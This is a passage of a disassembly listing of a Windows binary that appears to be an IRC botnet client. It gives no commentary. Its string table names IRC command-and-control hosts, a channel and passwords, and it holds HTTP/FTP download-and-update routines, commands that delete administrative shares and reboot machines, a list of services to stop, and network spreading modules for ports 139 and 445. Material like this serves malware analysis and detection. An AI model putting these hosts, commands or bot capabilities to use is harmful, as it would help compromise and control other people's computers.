		dd 0FFFFFFFFh, 4344C0h,	0
		dd offset loc_4344D7
		dd 1, 4344DFh, 2 dup(0)
dword_439BF8	dd 19930520h, 1, 439C18h, 5 dup(0) ; DATA XREF:	_294ADE7B:00434508o
		dd 0FFFFFFFFh, 434500h,	2 dup(0)
dword_439C28	dd 19930520h, 4, 439C48h, 5 dup(0) ; DATA XREF:	SEH_41A020o
		dd 0FFFFFFFFh, 434528h,	0
		dd offset loc_434520
		dd 0
		dd offset loc_43453F
		dd 2, 434547h, 2 dup(0)
dword_439C70	dd 19930520h, 6, 439C90h, 5 dup(0) ; DATA XREF:	SEH_41AA60o
		dd 0FFFFFFFFh, 434570h,	0FFFFFFFFh, 434578h, 0FFFFFFFFh
		dd 434580h, 0FFFFFFFFh,	434588h, 0FFFFFFFFh, 434590h, 0FFFFFFFFh
		dd 434598h, 2 dup(0)
dword_439CC8	dd 19930520h, 1Ah, 439CE8h, 5 dup(0) ; DATA XREF: SEH_41ACE0o
		dd 0FFFFFFFFh, 4345C0h,	0
		dd offset loc_4345CB
		dd 1, 4345D6h, 2, 4345E1h, 3, 4345ECh, 4, 4345F7h, 5, 4345FFh
		dd 5, 43460Ah, 5, 434615h, 5, 434623h, 5, 43462Eh, 5, 434639h
		dd 5, 434647h, 5, 434652h, 5, 43465Dh, 5, 434668h, 5, 434676h
		dd 5, 434681h, 5, 43468Ch, 5, 43469Ah, 5, 4346A5h, 5, 4346B0h
		dd 5, 4346BEh, 5, 4346C9h, 5, 4346D4h, 5, 4346DFh, 6 dup(0)
dword_439DD0	dd 19930520h, 4, 439DF0h, 5 dup(0) ; DATA XREF:	SEH_41BC10o
		dd 0FFFFFFFFh, 434750h,	0
		dd offset loc_434758
		dd 1, 434763h, 2, 43476Eh, 2 dup(0)
dword_439E18	dd 19930520h, 4, 439E38h, 5 dup(0) ; DATA XREF:	SEH_41BCA0o
		dd 0FFFFFFFFh, 434790h,	0
		dd offset loc_434798
		dd 1, 4347A3h, 2, 4347AEh, 2 dup(0)
dword_439E60	dd 19930520h, 6, 439E80h, 5 dup(0) ; DATA XREF:	SEH_41BD40o
		dd 0FFFFFFFFh, 4347D0h,	0
		dd offset loc_4347D8
		dd 1, 4347E3h, 2, 4347EEh, 3, 4347F9h, 4, 434804h, 2 dup(0)
dword_439EB8	dd 19930520h, 6, 439ED8h, 5 dup(0) ; DATA XREF:	_294ADE7B:loc_434872o
		dd 0FFFFFFFFh, 434830h,	0FFFFFFFFh, 43483Bh, 0FFFFFFFFh
		dd 434846h, 2, 434851h,	3, 43485Ch, 2, 434867h,	2 dup(0)
dword_439F10	dd 19930520h, 3, 439F30h, 5 dup(0) ; DATA XREF:	SEH_41C710o
		dd 0FFFFFFFFh, 434890h,	0FFFFFFFFh, 434898h, 0FFFFFFFFh
		dd 4348A0h, 2 dup(0)
dword_439F50	dd 19930520h, 5, 439F70h, 5 dup(0) ; DATA XREF:	SEH_41C9D0o
		dd 0FFFFFFFFh, 4348C0h,	0FFFFFFFFh, 4348C8h, 0FFFFFFFFh
		dd 4348D0h, 0FFFFFFFFh,	4348D8h, 0FFFFFFFFh, 4348E0h, 2	dup(0)
dword_439FA0	dd 19930520h, 0Ch, 439FC0h, 5 dup(0) ; DATA XREF: SEH_41CC30o
		dd 0FFFFFFFFh, 434900h,	0
		dd offset loc_434908
		dd 0FFFFFFFFh, 434910h,	0FFFFFFFFh, 434918h, 0FFFFFFFFh
		dd 434920h, 0FFFFFFFFh,	434928h, 5, 434930h, 0FFFFFFFFh
		dd 434938h, 0FFFFFFFFh,	434940h, 0FFFFFFFFh, 434948h, 0FFFFFFFFh
		dd 434950h, 0FFFFFFFFh,	434958h, 4 dup(0)
		dd 19930520h, 2, 43A050h, 1, 43A060h, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43A078h, 4	dup(0)
		dd offset loc_41D3FC
		align 10h
dword_43A090	dd 19930520h, 0Ah, 43A0B0h, 5 dup(0) ; DATA XREF: SEH_41D500o
		dd 0FFFFFFFFh, 4349A0h,	0
		dd offset loc_4349AB
		dd 1, 4349B6h, 2, 4349C1h, 3, 4349CCh, 3, 4349D7h, 3, 4349E2h
		dd 3, 4349EDh, 3, 4349F8h, 3, 434A03h, 4 dup(0)
dword_43A110	dd 19930520h, 2, 43A130h, 5 dup(0) ; DATA XREF:	_294ADE7B:loc_434A50o
		dd 0FFFFFFFFh, 434A40h,	0
		dd offset loc_434A48
		dd 2 dup(0)
dword_43A148	dd 19930520h, 3, 43A168h, 5 dup(0) ; DATA XREF:	SEH_41E6C0o
		dd 0FFFFFFFFh, 434A60h,	0FFFFFFFFh, 434A6Bh, 1,	434A76h
		dd 2 dup(0)
dword_43A188	dd 19930520h, 1, 43A1A8h, 5 dup(0) ; DATA XREF:	SEH_41EB00o
		dd 0FFFFFFFFh, 434AA0h,	2 dup(0)
dword_43A1B8	dd 19930520h, 2, 43A1D8h, 5 dup(0) ; DATA XREF:	SEH_41EDB0o
		dd 0FFFFFFFFh, 434AC0h,	0
		dd offset loc_434ACB
		align 10h
dword_43A1F0	dd 19930520h, 16h, 43A210h, 5 dup(0) ; DATA XREF: SEH_41F3E0o
		dd 0FFFFFFFFh, 434AF0h,	0
		dd offset loc_434AFB
		dd 0
		dd offset loc_434B03
		dd 0
		dd offset loc_434B0B
		dd 3, 434B13h, 4, 434B1Bh, 0
		dd offset loc_434B23
		dd 6, 434B2Bh, 7, 434B33h, 0
		dd offset loc_434B3B
		dd 9, 434B43h, 0Ah, 434B4Bh, 0
		dd offset loc_434B53
		dd 0Ch,	434B5Bh, 0Dh, 434B63h, 0
		dd offset loc_434B6B
		dd 0Fh,	434B73h, 0
		dd offset loc_434B7B
		dd 11h,	434B83h, 0
		dd offset loc_434B8B
		dd 13h,	434B93h, 13h, 434B9Bh, 6 dup(0)
dword_43A2D8	dd 19930520h, 6, 43A2F8h, 5 dup(0) ; DATA XREF:	SEH_41FE70o
		dd 0FFFFFFFFh, 434BE0h,	0
		dd offset loc_434BE8
		dd 1, 434BF3h, 2, 434BFEh, 3, 434C09h, 4, 434C14h, 2 dup(0)
dword_43A330	dd 19930520h, 1, 43A350h, 5 dup(0) ; DATA XREF:	SEH_420D20o
		dd 0FFFFFFFFh, 434C40h,	2 dup(0)
dword_43A360	dd 19930520h, 1, 43A380h, 5 dup(0) ; DATA XREF:	SEH_420DB0o
		dd 0FFFFFFFFh, 434C70h,	2 dup(0)
dword_43A390	dd 19930520h, 6, 43A3B0h, 5 dup(0) ; DATA XREF:	SEH_420EC0o
		dd 0FFFFFFFFh, 434CA0h,	0FFFFFFFFh, 434CA8h, 0FFFFFFFFh
		dd 434CB0h, 0FFFFFFFFh,	434CB8h, 0FFFFFFFFh, 434CC0h, 0FFFFFFFFh
		dd 434CC8h, 2 dup(0)
dword_43A3E8	dd 19930520h, 0Bh, 43A408h, 5 dup(0) ; DATA XREF: SEH_421170o
		dd 0FFFFFFFFh, 434CF0h,	0FFFFFFFFh, 434CFBh, 0FFFFFFFFh
		dd 434D11h, 0FFFFFFFFh,	434D1Ch, 0FFFFFFFFh, 434D27h, 0FFFFFFFFh
		dd 434D32h, 0FFFFFFFFh,	434D3Dh, 0FFFFFFFFh, 434D48h, 0FFFFFFFFh
		dd 434D53h, 0FFFFFFFFh,	434D5Eh, 0FFFFFFFFh, 434D06h, 4	dup(0)
dword_43A470	dd 19930520h, 1, 43A490h, 5 dup(0) ; DATA XREF:	SEH_4239C0o
		dd 0FFFFFFFFh, 434DA0h,	2 dup(0)
dword_43A4A0	dd 19930520h, 5, 43A4C0h, 5 dup(0) ; DATA XREF:	SEH_426110o
		dd 0FFFFFFFFh, 434DC0h,	0FFFFFFFFh, 434DC8h, 0FFFFFFFFh
		dd 434DD0h, 0FFFFFFFFh,	434DD8h, 0FFFFFFFFh, 434DE0h, 2	dup(0)
dword_43A4F0	dd 19930520h, 0Ah, 43A510h, 5 dup(0) ; DATA XREF: _294ADE7B:loc_434E56o
		dd 0FFFFFFFFh, 434E00h,	0FFFFFFFFh, 434E0Bh, 0FFFFFFFFh
		dd 434E13h, 0FFFFFFFFh,	434E1Bh, 0FFFFFFFFh, 434E23h, 0FFFFFFFFh
		dd 434E2Bh, 0FFFFFFFFh,	434E36h, 0FFFFFFFFh, 434E3Eh, 0FFFFFFFFh
		dd 434E46h, 0FFFFFFFFh,	434E4Eh, 4 dup(0)
dword_43A570	dd 19930520h, 1, 43A590h, 5 dup(0) ; DATA XREF:	SEH_4267F0o
		dd 0FFFFFFFFh, 434E80h,	2 dup(0)
dword_43A5A0	dd 19930520h, 1, 43A5C0h, 5 dup(0) ; DATA XREF:	SEH_4268B0o
		dd 0FFFFFFFFh, 434EA0h,	2 dup(0)
dword_43A5D0	dd 19930520h, 5, 43A5F0h, 5 dup(0) ; DATA XREF:	SEH_426BB0o
		dd 0FFFFFFFFh, 434EC0h,	0
		dd offset loc_434EC8
		dd 1, 434ED3h, 2, 434EDEh, 3, 434EE9h, 2 dup(0)
dword_43A620	dd 19930520h, 5, 43A640h, 5 dup(0) ; DATA XREF:	SEH_426C50o
		dd 0FFFFFFFFh, 434F10h,	0
		dd offset loc_434F18
		dd 1, 434F23h, 2, 434F2Eh, 3, 434F39h, 2 dup(0)
dword_43A670	dd 19930520h, 1, 43A690h, 5 dup(0) ; DATA XREF:	SEH_426D40o
		dd 0FFFFFFFFh, 434F60h,	2 dup(0)
dword_43A6A0	dd 19930520h, 1, 43A6C0h, 5 dup(0) ; DATA XREF:	SEH_426E00o
		dd 0FFFFFFFFh, 434F80h,	2 dup(0)
dword_43A6D0	dd 19930520h, 1, 43A6F0h, 5 dup(0) ; DATA XREF:	_294ADE7B:loc_434FA8o
		dd 0FFFFFFFFh, 434FA0h,	2 dup(0)
dword_43A700	dd 19930520h, 1, 43A720h, 5 dup(0) ; DATA XREF:	SEH_427310o
		dd 0FFFFFFFFh, 434FC0h,	236h dup(0)
_8C6BDE73	ends

; Section 3. (virtual address 0003B000)
; Virtual size			: 00078000 ( 491520.)
; Section size in file		: 00078000 ( 491520.)
; Offset to raw	data for section: 0003B000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_5AD6BD6B	segment	para public 'BSS' use32
		assume cs:_5AD6BD6B
		;org 43B000h
		assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing
		dd 41h dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd offset aRrr+73h
		dd 105h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
		dd 7Ch
dword_43B5F0	dd 7325h, 25207325h, 0A0D73h, 0	; DATA XREF: sub_426E00+1ADo
					; sub_427CB0+53o ...
dword_43B600	dd 20h,	6F2D20h, 2074656Eh, 72616873h, 64612065h, 246E696Dh
					; DATA XREF: sub_41ACE0+C6o
					; sub_41ACE0+15Fo ...
		dd 65642F20h, 6574656Ch, 792F20h, 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
		dd 255C7325h, 73h, 74666F53h, 65726177h, 63694D5Ch, 6F736F72h
		dd 4F5C7466h, 454Ch, 0
		dd 4Eh,	63657845h, 64657475h, 7325203Ah, 2Eh, 6F736572h
		dd 2E65766Ch, 6F727265h, 73252072h, 2Eh, 0
		dd 2D207325h, 7325203Eh, 0
		dd 72207325h, 6C6F7365h, 20646576h, 7325h, 0
aOpen		db 'open',0             ; DATA XREF: sub_41A700+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_41BE00+6CEo
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
		dd 5B207325h, 5D7325h, 0
		dd 3F3F3Fh, 33303032h, 0
		dd 5058h, 30303032h, 0
		dd 454Dh, 3839h, 544Eh,	3539h, 6961622Dh, 0
		dd 74656E2Dh, 73637673h, 0
		dd 6470752Dh, 657461h, 0
		dd 6265642Dh, 6775h, 6425h
dword_43B7F8	dd 2Eh,	39393939h, 3939h, 616D7953h, 6365746Eh,	746E4120h
					; DATA XREF: _294ADE7B:0041A3C7o
					; _294ADE7B:loc_41A3E7o ...
		dd 72697669h, 70207375h, 65666F72h, 6F697373h, 6C616Eh
		dd 2 dup(0)
aL33t		db 'l33t',0
		align 4
aHolla_if_ya_he	db 'holla.if.ya.hear.me',0
		dd 0
aD6f8ead25eeee2	db 'D6F8EAD25EEEE24B2F9A8AC408A6D01B',0
		align 10h
		dd 0
aBillgates	db 'billgates',0
		align 10h
aFxc		db 'FXC-',0
		align 4
aFlushdns1_1_0	db 'FlushDNS1.1.0',0
		align 4
aXplrer_exe	db 'xplrer.exe',0
		align 8
aThisiskey	db 'thisiskey',0
		align 4
aJ4ck		db '##j4ck##',0
		align 10h
a6667		db '6667',0
		align 4
aDanger_eternal	db 'danger.eternal-irc.net',0
		align 10h
		dd 0
a4212		db '4212',0
		align 4
aNetstat_zyns_c	db 'netstat.zyns.com',0
		align 10h
off_43B900	dd offset off_437100	; DATA XREF: _8C6BDE73:00437F1Co
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_43B920	dd offset off_437100	; DATA XREF: _8C6BDE73:00437F3Co
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_43B948	dd offset off_437100	; DATA XREF: _8C6BDE73:00437F5Co
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0
		dd 2 dup(0)
aTrue		db 'true',0
		align 4
aF		db '%f',0
		align 10h
aFalse		db 'false',0
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0
		align 10h
		dd 0
		dd 3D207325h, 73252220h, 22h, 5D64255Bh, 73252220h, 203D2022h
		dd 22732522h, 25222820h, 292273h, 0
		dd 61766328h, 2972h, 7078655Ch,	65726F6Ch, 78652E72h, 65h
		dd 61622D20h, 2069h, 63257325h,	7325h, 636F7250h, 33737365h
		dd 78654E32h, 74h, 636F7250h, 33737365h, 72694632h, 7473h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0
		align 8
aRegisterservic	db 'RegisterServiceProcess',0
		align 10h
		dd 0
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aComspecCSS	db '%%comspec%% /c %s %s',0
		align 10h
aSSSSSSSSSS	db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 10h
aSS_0		db '"%s" %s',0
		dd 0
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_41E8D0+Ao
		align 10h
aServDelS_	db 'serv(del) "%s".',0
		dd 0
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0
		align 8
aRegDelS_	db 'reg(del) "%s".',0
		align 4
		dd 0
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0
		align 8
		db ' :',0
		align 4
		unicode	0, <!>,0
aN		db ' -n',0
aS_0		db ' -s',0
asc_43BB68:				; DATA XREF: sub_41ACE0+12Do
					; sub_41ACE0+2ACo ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_41F3E0+114o
					; sub_41F3E0+1CEo ...
		unicode	0, <@>,0
aSSS		db '%s %s %s',0Dh,0Ah,0
		align 10h
aSSSS00S	db '%s %s',0Dh,0Ah
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 4
		dd 0
dword_43BB9C	dd 252E6425h, 64252E64h, 64252Eh, 0 ; DATA XREF: sub_41D500+4C7o
					; sub_421D50+5Do ...
		dd 25207325h, 73252073h, 0D732520h, 0Ah
dword_43BBBC	dd 0A0D7325h, 0		; DATA XREF: sub_4249E0+12Do
					; sub_4255E0+12Ao ...
		dd 25207325h, 253A2073h, 0A0D73h, 0
		dd 4255505Bh, 5D43494Ch, 0
		dd 4952505Bh, 45544156h, 5Dh, 202Eh, 3A6E616Ch,	20h, 69747075h
		dd 656Dh, 74736F68h, 0
		dd 6469h, 3Ch, 3Eh, 3D3Dh, 3D21h, 322E3225h, 58h, 203A7325h
		dd 7325h, 203A7325h, 6425h, 253A7325h, 64h, 7473696Ch
		dd 6E696E65h, 67h, 61747365h, 73696C62h, 646568h, 0
		dd 504354h, 2D464544h, 504354h,	0
		dd 652Dh, 6C2Dh, 322E255Bh, 2E252D64h, 252D6432h, 25206434h
		dd 3A64322Eh, 64322E25h, 322E253Ah, 25205D64h, 73h, 0
		dd 73257325h, 0
		dd 73257325h, 7325h
byte_43BCA8	db 1			; DATA XREF: sub_418960r
		align 4
dword_43BCAC	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: _294ADE7B:0041FCBBo
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43BCF8	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: _294ADE7B:0041FD29o
dword_43BD0C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: _294ADE7B:0041FD63o
dword_43BD20	dd 3000005h, 10h, 18h, 1, 0Ah dup(0) ; DATA XREF: _294ADE7B:0041FCF9o
dword_43BD58	dd 63257325h, 0		; DATA XREF: sub_41A020+1E0o
					; _294ADE7B:0041DF15o
word_43BD60	dw 72h			; DATA XREF: _294ADE7B:0041A324o
					; _294ADE7B:00425C4Dr
		align 4
dword_43BD64	dd 30h			; DATA XREF: _294ADE7B:0041A57Co
					; sub_422F30+327o
dword_43BD68	dd 3039h		; DATA XREF: _294ADE7B:loc_41A544o
dword_43BD6C	dd 383631h		; DATA XREF: _294ADE7B:0041A502o
dword_43BD70	dd 323931h		; DATA XREF: _294ADE7B:loc_41A4CAo
dword_43BD74	dd 3631h		; DATA XREF: _294ADE7B:0041A488o
dword_43BD78	dd 323731h		; DATA XREF: _294ADE7B:loc_41A44Co
dword_43BD7C	dd 3031h		; DATA XREF: _294ADE7B:0041A40Ao
dword_43BD80	dd 5C005Ch		; DATA XREF: _294ADE7B:0041A7E7r
					; _294ADE7B:0041A957r
word_43BD84	dw 0			; DATA XREF: _294ADE7B:0041A7F1r
					; _294ADE7B:0041A961r
		align 4
off_43BD88	dd offset dword_49005C	; DATA XREF: _294ADE7B:0041A7B6r
					; _294ADE7B:0041A926r
off_43BD8C	dd offset loc_43004F+1	; DATA XREF: _294ADE7B:0041A7BBr
					; _294ADE7B:0041A92Br
dword_43BD90	dd 24h			; DATA XREF: _294ADE7B:0041A7DFr
					; _294ADE7B:0041A94Fr
		align 8
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41BE00+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41BE00+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41BE00+567o
		align 4
		dd 0
asc_43BDCC	db 0Dh,0Ah		; DATA XREF: sub_41BE00+48Fo
		db 0Dh,0Ah,0
		align 4
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41BE00+3F1o
		align 4
aWb		db 'wb',0               ; DATA XREF: sub_41BE00+3C0o
					; _294ADE7B:0041E257o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41BE00+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41BE00+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41BE00+327o
		align 10h
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41BE00+2A3o
		align 10h
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41BE00+25Ao
		align 10h
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41BE00+224o
		align 10h
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41BE00+1CEo
		dd 0
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: sub_41C890+BEo
		dd 0
aSysSd		db 'sys(sd)',0          ; DATA XREF: sub_41C890+6Fo
		align 10h
aSysReboot	db 'sys(reboot)',0      ; DATA XREF: sub_41C890+20o
		align 10h
aKpidS		db 'kpid: %s',0         ; DATA XREF: sub_41CC30+584o
		align 4
aKsS		db 'ks: %s',0           ; DATA XREF: sub_41CC30+4AFo
		align 4
aD_S		db '%d. / %s',0         ; DATA XREF: sub_41CC30+389o
		align 10h
aKpS		db 'kp: %s',0           ; DATA XREF: sub_41CC30+251o
		align 4
aD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41CC30+130o
		align 10h
		dd 0
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41D500+694o
					; sub_41D500+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41D500:loc_41DB65o
					; sub_41D500+677o
		align 4
aFtpD_D_D_DDByt	db '$ftp -> %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41D500+62Bo
		dd 3 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41D500+53Fo
		align 4
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41D500+505o
					; sub_41D500+51Ao
		align 10h
asc_43BF80:				; DATA XREF: sub_41D500+2EFo
					; sub_41D500+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41D500+286o
					; sub_41D500+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41D500+254o
					; sub_41D500+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41D500+222o
					; sub_41D500+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41D500+1F3o
					; sub_41D500+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41D500+17Eo
		align 10h
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: _294ADE7B:0041DF6Co
		align 10h
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: _294ADE7B:0041E28Do
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_41E560:loc_41E5B5o
					; sub_41EB00+C4r ...
		align 8
asc_43BFF8:				; DATA XREF: sub_41E6C0+100o
		unicode	0, <\>,0
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_41E6C0+CBo
					; sub_41EDB0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_41E6C0+73o
					; sub_41EDB0+2BEo
		align 10h
		dd 0
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_41E9A0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_41EB00+72o
		align 10h
		dd 0
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_41EB00+64o
		align 4
		dd 0
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_41EB00+52o
		align 4
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_41EB00+20o
					; sub_41EB00+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_41EDB0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_41EDB0+32Do
		align 8
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_41EDB0+2F3o
		align 4
		dd 0
aThemes		db 'Themes',0           ; DATA XREF: sub_41EDB0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_41EDB0+1EBo
		align 10h
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_41EDB0+1E0o
		align 4
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_41EDB0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_41EDB0+1CAo
		align 10h
aWebclient	db 'WebClient',0        ; DATA XREF: sub_41EDB0+1BFo
		align 4
aW32time	db 'W32Time',0          ; DATA XREF: sub_41EDB0+1B4o
		align 8
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_41EDB0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_41EDB0+19Eo
		align 10h
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_41EDB0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_41EDB0+188o
		align 8
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_41EDB0+17Do
		dd 0
aStisvc		db 'stisvc',0           ; DATA XREF: sub_41EDB0+172o
		align 4
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_41EDB0+167o
		align 8
aSpooler	db 'Spooler',0          ; DATA XREF: sub_41EDB0+15Co
		dd 0
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_41EDB0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_41EDB0+146o
		align 10h
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_41EDB0+13Bo
		align 4
aSchedule	db 'Schedule',0         ; DATA XREF: sub_41EDB0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_41EDB0+125o
		align 10h
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_41EDB0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_41EDB0+10Fo
		align 10h
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_41EDB0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_41EDB0+F9o
		dd 0
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_41EDB0+EEo
		align 10h
aNla		db 'Nla',0              ; DATA XREF: sub_41EDB0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_41EDB0+D8o
		align 4
aMessenger	db 'Messenger',0        ; DATA XREF: sub_41EDB0+CDo
		align 4
aMdm		db 'MDM',0              ; DATA XREF: sub_41EDB0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_41EDB0+BDo
		align 8
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_41EDB0+B5o
		align 10h
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_41EDB0+ADo
		align 10h
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_41EDB0+A5o
		dd 0
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_41EDB0+9Do
		align 4
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_41EDB0+95o
		dd 0
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_41EDB0+8Do
		align 10h
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_41EDB0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_41EDB0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_41EDB0+75o
		align 10h
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_41EDB0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_41EDB0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_41EDB0+5Do
		align 10h
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_41EDB0+55o
					; sub_41EDB0:loc_41F03Bo
		align 4
asc_43C2EC:				; DATA XREF: sub_41F3E0:loc_41F49Fo
					; sub_41F3E0+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_41F3E0+94o
					; sub_41F3E0:loc_41F64Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_41F3E0+84o
					; sub_41F3E0+257o ...
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_420EC0+31o
		dd 0
		dd 79730000h, 6Dh, 6 dup(0)
dword_43C328	dd 0B97h		; DATA XREF: sub_421170+303r
					; sub_421170+310o ...
off_43C32C	dd offset sub_401A96	; DATA XREF: _294ADE7B:00422583r
dword_43C330	dd 0			; DATA XREF: sub_421170+34Ao
					; sub_421D20+Dr ...
		dd 1, 0
aNet139		db 'net139',0
		align 4
		dd 656E0000h, 39333174h, 6 dup(0)
		dd 8Bh,	401FEBh, 0
		dd 1, 0
aNet445		db 'net445',0
		align 10h
